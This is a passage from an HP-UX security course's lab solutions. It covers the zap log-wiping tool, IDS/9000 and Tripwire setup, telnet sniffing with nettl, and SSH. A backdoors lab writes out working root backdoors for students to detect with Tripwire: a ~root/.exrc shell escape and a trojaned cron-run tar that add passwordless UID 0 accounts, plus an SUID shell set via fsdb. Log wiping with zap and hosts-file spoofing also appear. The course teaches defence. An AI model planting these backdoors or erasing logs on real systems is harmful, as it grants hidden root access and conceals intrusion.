# PATH=.:$PATH
# exec ls

http://education.hp.com Solutions-51 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

3. Redisplay a full listing of all your current processes. Can you tell that an additional shell
has been started?

# ps –f

Answer:

You should be able to see the ls process, but there is no indication that the ls process is
actually a shell!

Part VI: Argument Hiding

1. Look at the /etc/passwd file using the more command.

# more /etc/passwd

2. After the first screen of data, shell out of the more command by hitting the ! key, then
execute the ps command. Does the ps output indicate which file the user is viewing with
more?

passwd (23%)!ps –f

3. This time, use the more command with input redirection to open the /etc/passwd file

# more </etc/passwd

4. Once again, shell out of more and execute the ps command. Does the ps output indicate
which file is being viewed with the more command this time?

passwd (23%)!ps –f

5. Shell out and execute the lsof command. Can you see the filename in the lsof output?

passwd (23%)!lsof | grep more

H3051S D.02 Solutions-52 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part VII: Experimenting with the Hacker Tool: Zap

1. Download a copy of the zap software from
http://www.dsinet.org/tools/logutils/zap.c to /usr/local/src/zap.
For the purposes of this class, you can simply copy the file from the /labs directory.

# mkdir –p /usr/local/src/zap
# cp /labs/zap/zap.c /usr/local/src/zap

2. Edit the zap.c source code and remove all references to lastlog (HP-UX does not use
lastlog).

# vi /usr/local/src/zap/zap.c
delete line 25 #include <lastlog.h> (just this line)
delete lines 48-65 kill_lastlog (and rest of subroutine)
delete line 55 kill_lastlog(argv[1]) (subroutine call)

4. Compile the zap program

# gcc /usr/local/src/zap/zap.c –o /usr/local/bin/zap

5. Test the zap program. First, create a couple of entries in the wtmp log file by telnet’ing
into your localhost as user1. Log out of the session immediately. Then initiate a second
telnet session, but don’t logout this time.

# telnet localhost login as user1

$ exit
# telnet localhost login as user1 again

6. Use the last and who commands to verify that user1 is in the utmp and wtmp log files.

$ last
$ who

7. Without logging out, try to "zap" user1's records from the log files, then execute last and
who again. Can you explain what did (or didn’t!) happen? After checking the log files,
logout of the user1 telnet session.

$ /usr/local/bin/zap user1
$ who
$ last
$ exit

Answer:

Hopefully, the zap command failed. Regular users shouldn’t be able to modify the
contents of the utmp and wtmp log files. If the records are still present, then the security
permissions on the log files are set correctly, and only root will be able to remove the
records (this is a good thing!).

http://education.hp.com Solutions-53 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

8. Now that you are back to your original shell, see if root can zap users from utmp and
wtmp.

# /usr/local/bin/zap user1
# last
# who

9. Does last show any record of user1’s login session?

Does who show any record of user1's login session?

Answer:

Root should be able to zap users in the log files.

Part VIII: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3051S D.02 Solutions-54 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

10–16. LAB: Configuring and Using IDS/9000

Directions
This lab gives you an opportunity to configure and use HP's IDS/9000 software. Working with
a partner, you will have an opportunity to configure both an IDS/9000 server, and an IDS/9000
client. If you prefer to work alone, you can configure your system with both the client and
server functionality.

Part I: Install IDS/9000 Software on the IDS/9000 Server

1. Verify that the Java Runtime Environment (B9789AA) version 1.3.1.01 or greater and the
IDS/9000 product (J5083AA) version B.02.01.32 or greater are installed on your IDS/9000
server. The IDS bundle can be downloaded for free from http://software.hp.com..
The Java bundle can be downloaded at no cost from http://www.hp.com/go/java.
Both bundles should already be installed on your system.

# swlist B9789AA J5083AA

2. The IDS/9000 software must be configured from a special IDS user account, which is
created during the software install process. Verify that the account has been created, then
set a password for it.

# grep ids /etc/passwd /etc/group

# passwd ids

Part II: Install IDS/9000 Software on the IDS/9000 Clients

1. Verify that the IDS/9000 agent sub-product (IDS.IDS-Agent) version B.02.01.32 or
greater is installed on your IDS/9000 client. The IDS software can be downloaded free
from http://software.hp.com.

# swlist IDS.IDS-Admin

(The IDS.IDS-Agent sub-product is the only additional software required on the IDS
clients. Java software is not required on the IDS clients.).
2. Verify that the IDS account has been created, then set a password for it.

# grep ids /etc/passwd /etc/group

# passwd ids

http://education.hp.com Solutions-55 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part III: Configure the IDS/9000 Public/Private Keys

The IDS/9000 product uses public key cryptography to send messages between the IDS server
and IDS agents. The IDS product includes a self-contained certificate management product.
Before using IDS, public/private key pairs must be generated on the IDS/9000 server using the
IDS_getAdminKeys utility.

1. On the IDS/9000 server, switch to the ids user:

# su - ids
2. Set up the required environment variables on the server:
$ export PATH=/opt/ids/bin:$PATH
$ export SHLIB_PATH=/opt/ids/lib:$SHLIB_PATH
3. Generate the public/private keys for the IDS/9000 server.
$ /opt/ids/bin/IDS_genAdminKeys
4. While still logged onto the server, generate public/private keys for the IDS/9000 client
agents by running the genAgentCerts utility. The program will interactively prompt for
each agent's hostname, then generate a public/private key pair. (Note: Be patient! It may
take several minutes to generate the key pairs).
$ /opt/ids/bin/IDS_genAgentCerts
Generating keys for the agent machines.
Generate keys for which host? ClientA
ClientA. . . . . . .done.
Next hostname? ClientB
ClientB. . . . . . .done.
Next hostname? <CTRL d>
The certificate files containing the public/private keys for the clients are created in
/var/opt/ids/tmp or the IDS server. These files will need to be securely transferred
to the individual IDS agent systems.
5. Transfer the certificate files from the IDS server to the IDS agent systems.

If you are using your system as both the IDS server and client, simply copy your client
key from /var/opt/ids/tmp to /tmp.

$ cp /var/opt/ids/tmp/ClientA.tar.Z /tmp

If you are configuring a different system as a client, then use FTP to transfer the client
keys that you generated in the previous step to the client hosts.

NOTE: Utilities like ftp, rcp, or unencrypted email are not considered secure
methods for transferring these files, because eavesdroppers could view
their contents and threaten the security of IDS. For the sake of simplicity,
this lab uses ftp to transfer the keys. In a production environment, HP
recommends using PGP-protected email, floppy disks, or other secure
methods to transfer the IDS keys.

H3051S D.02 Solutions-56 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

$ cd /var/opt/ids/tmp
$ ftp ClientA
> put ClientA.tar.Z /tmp/ClientA.tar.Z
> chmod 444 /tmp/ClientA.tar.Z
> bye

6. Exit the IDS su session.

$ exit
7. Log in on each IDS client, and import the public/private keys using the
IDS_importAgentKeys command:
# telnet ClientA
# su - ids
$ cd /tmp
$ /opt/ids/bin/IDS_importAgentKeys /tmp/ClientA.tar.Z ServerName
$ exit

These commands extract the private and public keys and update the
/etc/opt/ids/ids.cf file to reference the IDS server.
8. At this point, the IDS agent software can be started on the agent, and communications
between the IDS server will be authenticated and confidential. To start the IDS agent
daemon on the client, logout of any remaining su sessions, and run the idsagent
startup script while logged in as user root.
# /sbin/init.d/idsagent start

http://education.hp.com Solutions-57 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part IV: Create a Surveillance Group on the IDS Server

Recall that a surveillance group is a customized grouping of Detection templates that can be
scheduled to monitor suspicious activity on your system. Our goal is to create a Surveillance
Group that will watch for the creation of suspicious files that (a) include world write
permission or (b) include the SUID permission bit.
1. The IDS/9000 server needs to be configured to monitor for various types of security
breaches on the IDS clients. This can be accomplished via the IDS GUI.

In order to run the IDS GUI, you must be logged in as user ids via an X-windows session.
If you are currently logged in as root, logout out of X-windows/CDE, then log back in
again as user ids. Note that su'ing to ids won't work! After you login as user ids, run
the IDS GUI. Be sure to run the GUI in the foreground. Be patient. It may take several
minutes to launch the interface.

$ /opt/ids/bin/idsgui

2. IDS initially launches the IDS/9000 System Manager window. From this window,
click Edit -> Schedule Manager. The Schedule Manager window is used to
create and schedule Surveillance Groups.

3. Surveillance Groups can be configured in the Surveillance Groups box. Several

Surveillance Groups are pre-configured, but we will create our own. Click the New button
in the Surveillance Groups box.

4. Name your new Surveillance Group in the New Surveillance Group dialog box that
appears.

− Enter SuspiciousFiles as the Surveillance Group name.

− Click OK.
− Your new group should appear in the Surveillance Group list.
5. Specify which detection templates you wish to include in your new surveillance group.

− Look for your new group in the Surveillance Group list.

− Select your SuspiciousFiles group from the Surveillance Groups list.
− Look at the Templates box to the right of the Surveillance Group list.
− Mark the following templates for inclusion in your surveillance group:
− Creation of SetUID files
− Creation of world-writable files
6. Configure the Creation of world-writable files template to exclude files under
/tmp.

− Select Creation of world-writable files from the Templates box.

− Look at the Properties box to the right of the Templates box.
− Select the Ignore these directories property.

H3051S D.02 Solutions-58 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

− Click Edit.
− In the resulting Edit List window, click Add.
− Enter pathname /tmp.
− Click OK to exit the Edit dialog box.
− Click OK to exit the Edit List window.
7. Leave the Schedule Manager window open for the next part of the lab.

http://education.hp.com Solutions-59 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part V: Create a Surveillance Schedule on the IDS Server

Now you need to create a Surveillance Schedule to specify when the new
SuspiciousFiles surveillance group should monitor activity on your systems.
1. Make sure you are in the Schedule Manager window, viewing the Configure tab.

2. Create a new surveillance schedule called DaytimeSuspiciousActivity.

Find the Schedules box on the left side of the Schedule Manager window.

− Click New.
− A New Surveillance Schedule dialog box should appear.
− Call your new schedule DaytimeSuspiciousActivity.
− Click OK.
− Verify that your new Surveillance Schedule appears in the Schedules box.
3. Now, specify which surveillance groups should be included in your new Surveillance
Schedule. Include the SuspiciousFiles Surveillance Group you created in the
previous part of the lab, as well as the built-in LoginMonitoringGroup.

− In the Schedules box on the left, select DaytimeSuspiciousActivity.

− In the Surveillance Groups box, click Clear All.
− In the Surveillance Groups box, mark the SuspiciousFiles check box.
− Also, mark the LoginMonitoringGroup check box.
4. Next, configure your Surveillance Schedule such that the two selected Surveillance Groups
are only monitored during regular business hours. (Note: Realistically, you would
probably want to monitor these surveillance groups all the time. This exercise is simply
designed to help you explore the IDS interface.)

− Click the Timetable tab near the top of the screen.

− Select your new surveillance schedule from the Schedules box on the left.
− Look at the Schedule Summary grid for your surveillance schedule.
− When are your surveillance groups currently scheduled to run?
− Select SuspiciousFiles from the Selected Groups box.
− In the Criteria box, click Specified.
− In the Select Days box, click None.
− In the Select Times box, click None.
− In the Select Days box, select Monday–Friday while holding the Ctrl key.
− In the Select Times box, select your standard business hours.
− Use a similar procedure to schedule the LoginMonitoring surveillance group.
5. Now that you have configured a surveillance group and a surveillance schedule, be sure
to hit the Save button to save your work.

6. Finally, click File -> Close to return to the System Manager screen.

H3051S D.02 Solutions-60 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part VI: Download and Run Surveillance Schedules on IDS Clients

Now that you have an IDS Surveillance Schedule, you can specify which hosts you want to
run that surveillance schedule on.
1. First, IDS must be told which clients you wish to monitor. IDS may be used to monitor
multiple hosts across your network from a central IDS Management Server. For the
purposes of this lab, however, you will simply monitor your own host.

− From the System Manager window, click Edit -> Host Manager.

If you are doing both the client and server portions of the lab on the same system, you
can simply click the Monitored check box for your host to force IDS to poll the new
client, choose File -> Save and File -> Close to exit the Host Manager, then
skip ahead to the next question. If you are doing the lab with a partner, make sure the IDS
server administrator does the following:
− Click the Add button
− Move the mouse pointer to the blank line and select the Host Name field
− Type the client's hostname directly into the field
− Move the mouse pointer to the IP Address field.
− Enter the client's IP Address manually, or click the Set IP Address button.
− Click OK.
− Your new client should appear in the Host Manager window's host list.
− Click the Monitored check box for your host to force IDS to poll the new client.
− Repeat this process for all hosts you wish to monitor.
− When finished, save the defined hosts using the File -> Save menu.
− Then, close the Host Management window by selecting File -> Close.
2. Next, download your DaytimeSuspiciousActivity Surveillance Schedule to your
IDS client.

− Make sure you are back in the System Manager window.

− Select your new client from the list of Monitored Nodes.
− If the Status field is not Available, click the Status button to poll the client.
− Select DaytimeSuspiciousActivity from the Schedules box.
− Click Activate to download the surveillance schedule to the client.
− The Status field should eventually indicate that the schedule is Running.

http://education.hp.com Solutions-61 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part VII: (Optional) Configuring an Automated Response Script

Automated response scripts can be installed on IDS clients to automatically email root,
archive log files, or even shutdown the LAN card when IDS identifies a potential security
breach. You will have an opportunity to create an automated response script in this part of
the lab.
1. Configure an automated response script on the client that emails every alert to root.
Make sure your script is in the appropriate directory on the client.

# vi /opt/ids/response/myresponse.sh

#!/usr/bin/sh
echo “
Detection Template : $1
Template Version : $2
Severity : $3
Timestamp : $4
Attacker Username : $5
Subsystem Target : $6
Alert Summary : $7
Alert Details : $8
“ | mailx –s “IDS alert” root
2. Set permissions on the script to 555.

# chmod 555 /opt/ids/response/myresponse.sh

3. (Optional) Can you modify your script so it only notifies root when a critical alert occurs?

Answer:

# vi /opt/ids/response/myresponse.sh

#!/usr/bin/sh
if [[ $3 –eq 1 ]]; then
echo “
Detection Template : $1
Template Version : $2
Severity : $3
Timestamp : $4
Attacker Username : $5
Subsystem Target : $6
Alert Summary : $7
Alert Details : $8
“ | mailx –s “IDS alert” root
fi

H3051S D.02 Solutions-62 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part VIII: Monitoring Your IDS Clients

Now you are ready to begin monitoring your IDS clients!
1. In a terminal window, execute a few suspicious commands.

# touch ~root/f1 Create a file.

# chmod 777 ~root/f1 Make the file world-writable.
# chmod u+s ~root/f1 Set the SUID bit.
# login user1 Login as user1.
$ su - Mistype the root password while su'ing to root.
$ su - Mistype the root password again.
$ su - And again ...
$ exit

2. Then return to your IDS System Manager screen.

3. What do you see on the System Manager screen that indicates that there might be a
problem on your client?

Answer
Double-click on your client's hostname to view the alerts. What type of information does
IDS report for each alert? Try clicking on an alert, then look at the detail box at the
bottom of the window.

IDS reports:
− The severity level of each alert (1 = very serious, 3 = less serious)
− The IP or username of the attacker
− The attack type
− The date/time of the attack
− Alert specific details (in the detail window)
4. After you investigate an alert, mark the alert's Seen checkbox so other IDS
administrators can determine which alerts have and have not been analyzed. Go ahead
and mark the Seen checkbox for all of the current alerts. You can drag your mouse
across multiple alerts to mark them all simultaneously.

5. Marking an alert as Seen does not actually remove it from the IDS log. You may want to
purge the log occasionally. To remove one or more IDS entries from the log, select them
on the Network Node alert browser window, then click Delete.

6. Most messages generated by IDS will be alerts. However, occasionally an IDS agent
daemon dies, or some other IDS error occurs. To view these errors, click the Errors tab
on the Network Node screen.

7. Use whatever time remains in the lab to practice configuring some additional surveillance
schedules, and generating some additional alerts.

http://education.hp.com Solutions-63 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part IX: Shutting Down IDS

1. When you have finished working with IDS, exit the IDS Manager by clicking
File -> Exit.

2. Also, shut down the IDS agent on the client.

# /sbin/init.d/idsagent stop

H3051S D.02 Solutions-64 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

11–14. LAB: Operating System Backdoors

Part I: Compiling and Installing Tripwire

1. Download a copy of the Tripwire Academic Source Release product from
http://www.tripwire.com/products/tripwire_asr/. For the purposes of the
lab exercise, you can simply copy the source from the /labs/tripwire directory.

# cp /labs/tripwire/Tripwire*.tar.gz /tmp

2. Tripwire must be installed in a secure location. In fact, ideally you should install it on
removable media! For the purposes of the lab exercise, we will install Tripwire in the
/secure file system. Mount /secure, create a subdirectory for Tripwire, and unzip and
untar the source files.

# mount /dev/vg01/secure /secure

# mkdir /secure/tripwire
# cd /secure/tripwire
# gzip –d /tmp/Tripwire*.tar.gz
# tar xvf /tmp/Tripwire*.tar

3. cd to the newly created /secure/tripwire/tw*src directory

# cd /secure/tripwire/tw*src

4. Edit the Makefile and tailor the compilation for HP-UX.

# vi Makefile

change line 13: DESTDIR = /secure/tripwire

change line 14: DATADIR = /secure/tripwire
change line 21: #LEX = lex
change line 22: LEX = flex
change line 24: #YACC = yacc
change line 25: YACC = bison -y
change line 39: #CFLAGS = -O
change line 40: CFLAGS = -g
change line 64: #LDFLAGS = -ldl
change line 83: INSTALL = /usr/local/bin/install

5. Edit the include/config.h file and tailor the compilation for HP-UX.

# vi include/config.h

change line 20: #include “../configs/conf-hpux.h”

change line 106: #define CONFIG_PATH “/secure/tripwire/configs”
change line 107: #define DATABASE_PATH “/secure/tripwire/databases”

http://education.hp.com Solutions-65 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

6. Create the directories referenced above.

# mkdir /secure/tripwire/configs
# mkdir /secure/tripwire/databases

7. Prepare to make the Tripwire executables. For HP-UX, the variable sigvector variable
must be changed (since this variable is already defined in an include file):

# vi src/siggen.c

Change all occurrences of sigvector to sigvector1 by typing:

:1,$s/sigvector/sigvector1/g

Save and exit the file.

8. Compile the Tripwire executables with the make command.

# make

9. Install the tripwire executables.

# make install

H3051S D.02 Solutions-66 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part II: Configuring and Using Tripwire

1. cd to the /secure/tripwire directory. Note that you must be in this directory when
you run tripwire.

# cd /secure/tripwire
Create the Tripwire configuration file as follows:

# cd /secure/tripwire
# vi configs/tw.config
# NOTE: this version of the tw.config file is
# designed for the sake of this lab only.
# in order to save time, important directories
# such as /var and /usr have been left out.
# you will need to modify this file for
# use on your production systems.
/etc R
/etc/rmtab L
/etc/mnttab L
/etc/passwd L-i
/etc/utmp L
/etc/rc.log L
/etc/shutdownlog L
=/tmp L
=/home L
/root R
/root/.sh_history L
/usr/local/bin R
/var/spool/cron/crontabs R

2. Initialize the Tripwire database. This will take several minutes. Be patient!

# cd /secure/tripwire
# ./tripwire –initialize

3. View the Tripwire database.

# cd /secure/tripwire
# more databases/tw.db_$(hostname)

http://education.hp.com Solutions-67 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part III: Configuring Backdoors

Now configure and trigger a few backdoors on your system. Later in the lab, we’ll see if
Tripwire recognizes these backdoors.
1. Add a shell escape sequence to ~root/.exrc that adds a UID 0 entry to /etc/passwd.

# vi ~root/.exrc
!(/usr/sbin/useradd –u 0 -o -c “exrc backdoor” hacker1;
/usr/bin/passwd –d hacker1)

When will the hacker gain root access as a result of this backdoor?

Answer:

The next time root launches the vi editor, a UID 0 entry will be added to /etc/passwd.

2. Create a cron job that uses /usr/local/bin/tar to create a tape archive of /home
every day. Even if you don’t have a tape drive, you can still schedule the job to run. For
the sake of our lab exercise, schedule the job to run everyday, 5 minutes from the current
time. Then overwrite the /usr/local/bin/tar executable with some malicious code.

# date note current system time

# crontab –e schedule the job to run in 5 minutes
mm hh * * * /usr/local/bin/tar –c /home
# mv /usr/local/bin/tar /usr/local/bin/tar.bkp
# vi /usr/local/bin/tar
#!/usr/bin/sh
/usr/sbin/useradd –u 0 –o –c “cron backdoor” hacker2
/usr/bin/passwd –d hacker2
# chmod 555 /usr/local/bin/tar

When will the hacker gain root access as a result of this backdoor?

Answer:

When the next tar cron job executes, a UID entry will be added to /etc/passwd.

3. Create a copy of the POSIX shell in /home/user1, and chown it to root. Then use the
fsdb command to set the file’s SUID bit without using the chmod command.

# cp /usr/bin/sh /home/user1
# chown root /home/user1/sh
# ll –i /home/user1/sh note the file’s inode number
# bdf /home note /home’s logical volume name
# umount /home
# fsdb /dev/vg00/rlvolx use your LV name here
> 333i go to your file’s inode entry
> md=0104555 add the SUID bit to the file’s
mode/permissions
> quit quit out of fsdb

H3051S D.02 Solutions-68 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

# mount /home remount the file system

# ll /home/user1/sh permissions should now be r-sr-xr-x

When will the hacker gain root access as a result of this backdoor?

Answer:

The hacker can now gain root access any time by running the /home/user1/sh SUID
shell.

Part IV: Identifying Backdoors with Tripwire

How can we determine if a hacker has planted backdoors on a system? Tripwire can help!

1. Run Tripwire in integrity checking mode. Read the resulting report carefully.

# cd /
# /secure/tripwire/tripwire

2. Did Tripwire recognize that /usr/local/bin/tar changed?

Did Tripwire recognize that /root/.exrc had been created or changed?
Did Tripwire recognize the new shell in /home/user1? Explain!

Answer:

Tripwire should recognize the changes in /usr/local/bin/tar and ~root/.exrc.

However, Tripwire doesn’t report the new SUID script in user1’s home directory, since
the tw.config file says that Tripwire shouldn’t traverse the subdirectories under
/home.

3. By now, your backdoors should have added at least one, and perhaps two new hacker
accounts to the /etc/passwd file. Did Tripwire report these /etc/passwd file
changes? Explain.

Answer:

Tripwire doesn’t realize that the /etc/passwd file changed, since the /etc/passwd
entry in tw.config indicates that Tripwire should only monitor the file permissions,
UID, GID, and other /etc/passwd file attributes – not the file contents! If Tripwire
monitored the /etc/passwd file contents, every user password change would trigger a
Tripwire warning.

http://education.hp.com Solutions-69 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

4. Whenever you install new patches or software, or make legitimate changes to the system
configuration, you should update the Tripwire database. How can you non-interactively
update a single file’s entry in the Tripwire database? Comment out the printer line in
/etc/inetd.conf, then do whatever is necessary to update the /etc/inetd.conf
file entry.

# vi /etc/inetd.conf
# inetd –c
# ./tripwire –update /etc/inetd.conf

5. Run Tripwire again in integrity checking mode. Does Tripwire report the change in
/etc/inetd.conf?

# ./tripwire

Answer:

Tripwire shouldn’t complain about changes in /etc/inetd.conf. since the updated

/etc/inetd.conf entry was already updated in the Tripwire database.

6. If you have made many changes to your system configuration, the non-interactive update
may be tedious. Try running Tripwire in interactive mode, and update a few database
entries if you wish.

# ./tripwire -interactive

Part V: Cleanup
Before continuing on to the next chapter, move the tar executable back to its original
location.

# mv /usr/local/bin/tar.bkp /usr/local/bin/tar

Also restore your system to its original state by running the netfiles script. When asked if
you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3051S D.02 Solutions-70 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

12–15. LAB: Experimenting with SSH Encryption and

Authentication

Part I: Exploring TCP/IP Vulnerabilities with nettl

Earlier in this chapter you learned that hackers may easily obtain usernames and passwords
by eavesdropping on network packets via a network sniffer. During this lab exercise, you
will use the nettl utility, which is included in a standard load of HP-UX, to eavesdrop on a
user's telnet session and obtain a username and password.
1. nettl generates quite a bit of output. Create a .netfmtrc file to filter the contents of
the trace file to a more manageable size. Since we are only interested in the packets sent
to your neighbor's telnet daemon, filter out all packets except those destined to your
neighbor's IP address, port #23 (the well-known telnet port).

# vi ~/.netfmtrc
filter tcp_dport 23
filter ip_daddr X.X.X.X Enter your neighbor's IP address here

2. Open a second window, and enable network tracing with the nettl command. Pipe the
nettl command output to netfmt to format the output.

# nettl -traceon pduin pduout -e ns_ls_tcp | \

netfmt –N | \
grep “0: “ &

3. While network tracing continues to run in the second window, return to your original
window, telnet to the system next to you, login as user1, execute a couple commands,
then logout.

# telnet neighborhost
login: user1
password: xxxxx
# ll
# who
# exit

4. What did you see in the nettl window? Can you tell what user account and password
were used? Can you tell what commands were executed?

Answer:

You should have seen the username, password, and every command that was executed
during the telnet session. For this reason, telnet and ftp are very dangerous
services!

5. Turn off network tracing and close the second window.

# nettl –traceoff –e all

http://education.hp.com Solutions-71 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part II: Installing Secure Shell to Improve TCP/IP Security

In the first part of the lab exercise, you discovered how dangerous it is to send passwords
and other sensitive information across an Ethernet/TCP/IP network. In order to overcome
these vulnerabilities, you must configure some sort of mechanism for (1) encrypting IP data
packets and (2) authenticating hosts to avoid IP spoofing. In this part of the lab exercise, you
will configure the "Secure Shell" (SSH) product to address both of these issues. The ssh
protocol that is implemented by the SSH product has become a de-facto
encryption/authentication standard for remote logins and file transfer. A pre-compiled
version of SSH is available from HP’s http://software.hp.com. HP’s product is based
on the open source version of SSH available from http://www.openssh.org.
1. Verify that the SSH product is installed on your system. If not, the product may be
downloaded for free from http://software.hp.com.

# swlist T1471AA

2. Verify that the SSH server daemon is running on your system. If not, it can be enabled in
/etc/rc.config.d/sshd, and started via the /sbin/init.d/secsh startup script.

# ps –ef | grep sshd

3. Verify that the SSH daemon is listening for incoming connection requests. Normally, SSH
receives connections on port number 22.

# netstat –an | grep 22

4. If the preceding tests succeeded, then your system is ready to accept SSH connection
requests!

H3051S D.02 Solutions-72 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part III: Testing SSH Authentication

For this part of the lab, you need to work with a partner. Choose one host to be your SSH
server, and one to be your SSH client. If you wish, you can swap roles and try this part of the
lab a second time so you both get to experience both roles.

Server hostname: _________________

Client hostname: _________________

1. When you install the SSH product, swinstall automatically creates DSA and RSA
public/private key pairs that will be used for authentication. View the RSA keys that were
created for your host. Can you explain why the permissions on the two files are
different?

server# ll /etc/opt/ssh/*
server# cat /etc/opt/ssh/ssh_host_rsa_key
server# cat /etc/opt/ssh/ssh_host_rsa_key.pub

client# ll /etc/opt/ssh/*
client# cat /etc/opt/ssh/ssh_host_rsa_key
client# cat /etc/opt/ssh/ssh_host_rsa_key.pub

Answer:

The ssh_host_rsa_key file contains your host's private key; it should only be readable
by root. The ssh_host_rsa_key.pub file contains your host's public key; it should be
world-readable.

2. From the client host, initiate an ssh connection to the server and login as user1.

client# ssh user1@server

3. The first time you connect to a new SSH server, SSH warns that the authenticity of the
server can’t be established since the client doesn’t have a copy of the server’s public key.
When asked if you wish to continue, answer yes. SSH will download a copy of the public
key for you. The client will also be prompted for a valid password on the destination
system, just as they would during a normal telnet session. After successfully
connecting, execute a few commands, then log out.
The authenticity of host ‘server (10.1.1.1)' can't be
established. RSA key fingerprint is
21:73:6d:98:ba:94:20:8c:6b:21:5f:c2:6c:49:44:f7.
Are you sure you want to continue connecting (yes/no)? yes
user1@myserver's password: ******
$ hostname
$ id
$ exit

http://education.hp.com Solutions-73 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

4. Clients store server keys, one per line, in a file called ~/.ssh/known_hosts. Compare
the client's copy of the server's public key with the ssh_host_rsa_key.pub file stored
on the server. Do the keys match? They should be identical!

client# grep server ~/.ssh/known_hosts

server# cat /etc/opt/ssh/ssh_host_rsa_key.pub

5. Initiate another SSH connection request from the client to the server. This time, does
SSH generate the "Authenticity can’t be established” message? Explain! After logging in,
log right back out again.

client# ssh server

client# exit

6. Hackers sometimes use "spoofing" to trick a client into connecting to the hacker's server
rather than the client's "real" server. A hacker might accomplish this by modifying the
server's entry on a DNS server. Your host probably isn't using DNS to resolve hostnames,
so we will try a somewhat different approach. Find the server's entry in the client's
/etc/hosts file, and replace the "real" server's IP address with your instructor's IP
address.

client# vi /etc/hosts

7. Verify that your instructor has configured his or her host as an SSH server before
proceeding.

8. What happens now when the client attempts to rlogin to the server as user1? If the
connection succeeds, log back out again.

client# rlogin server –l user1

client# exit

Answer:

rlogin succeeds, but connects to the “spoof” server (the instructor station) rather than
the client’s “real” server. Even though the client requested a connection to the legitimate
server, the bogus entry in /etc/hosts redirected the connection request to the
instructor station. The client may unwittingly type commands that are entered in a shell
history on the hacker host, or upload files that the hacker might find interesting.

9. The rlogin attempt should have succeeded! The client user initiated the rlogin to
hostname server. Who are you really connected to, though? Use the hostname
command to find out! Then log out of the rlogin session.

$ hostname
$ exit

H3051S D.02 Solutions-74 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

10. Will SSH fall victim to the spoof as easily as rlogin? Try it! Can you explain the result?

client# ssh user1@server

Answer:

The attempt fails since the instructor's response isn't validated by the public key that the
client obtained earlier in the lab. The attempt fails! The client refuses to connect to the
bogus server.

11. Before proceeding to the next part of the lab, return the client's /etc/hosts server
entry to its original state.

# vi /etc/hosts

Part IV: Using the SSH Client Utilities

So far we have experimented with the ssh client utility, but SSH includes other client
utilities, too, that serve as replacements for rcp, remsh, rlogin, and ftp.

1. First, cd to /tmp on your localhost and create a file whose filename is your first name.

Answer:

# cd /tmp
# touch myname

2. Connect to your partner’s system as user1, using sftp.

Answer:

# sftp user1@neighborhost

3. Use the help command to view a list of the functions supported by sftp. Which
command can you use to copy the file you created in the first question to user1’s home
directory? Make it so! Which command can you use to verify that the file was created?
Make it so!

Answer:

sftp> help
sftp> put myname
sftp> ls

http://education.hp.com Solutions-75 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

4. Quit out of your sftp session.

Answer:

sftp> quit

5. The scp command provides an even more convenient mechanism for copying files to and
from other systems. Use this command to copy the file you created in the first step to the
/tmp directory on your neighbor’s host. What advantage does this hold over sftp?

Answer:

# scp /tmp/myname neighborhost:/tmp/myname

6. In the previous part of the lab, we used the ssh command to initiate an interactive login
on the SSH server. How can you execute a single command on the server without
initiating an interactive login session? Use the ssh command to execute the ls /tmp
command on your neighbor’s host without initiating a full login session.

Answer:

# ssh neighborhost “ls /tmp”

Part V: (Optional) Configuring User Authentication

In the previous part of the lab, you learned how to use SSH to transfer files and execute
commands on remote systems via SSH. However, each time you ran a command, you had to
enter a user password. SSH is even more secure, and offers even greater flexibility when you
configure public key user authentication. For this part of the lab, work with your neighbor to
configure one host as an SSH server, and one host as an SSH client.

1. Login as user1 on the client. Use the login or telnet command, NOT su.

client# login user1

2. While logged in as user1 on the client, run the ssh-keygen program to generate a
public/private DSA key pair for the user. Don’t configure a passphrase. Verify that the
keys were created in ~user1/.ssh.

client$ ssh-keygen –t dsa

client$ ll ~user1/.ssh/id_dsa.pub
client$ cat ~user1/.ssh/id_dsa.pub

3. Use the scp command to transfer the public key file to the /tmp directory on the server.

client$ scp ~user1/.ssh/id_dsa.pub server:/tmp/id_dsa.pub

H3051S D.02 Solutions-76 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

4. Login on the server as user1.

server# login user1

5. Create a file called ~user1/.ssh/authorized_keys. Also change the permissions on

this file to 644 and ensure that user1 owns the file. This file will store the public keys of
all the remote users that should be granted ssh access to the user1 account on the
server.

server$ touch ~user1/.ssh/authorized_keys

server$ chown user1 ~user1/.ssh/authorized_keys
server$ chmod 644 ~user1/.ssh/authorized_keys

6. Append the contents of the user1@client id_dsa.pub file to

~user1/.ssh/authorized_keys file on the server. If you wanted to allow other
users from other hosts to access the user1 account on the server via SSH, you would have
to append their public keys to the authorized_keys file, too.

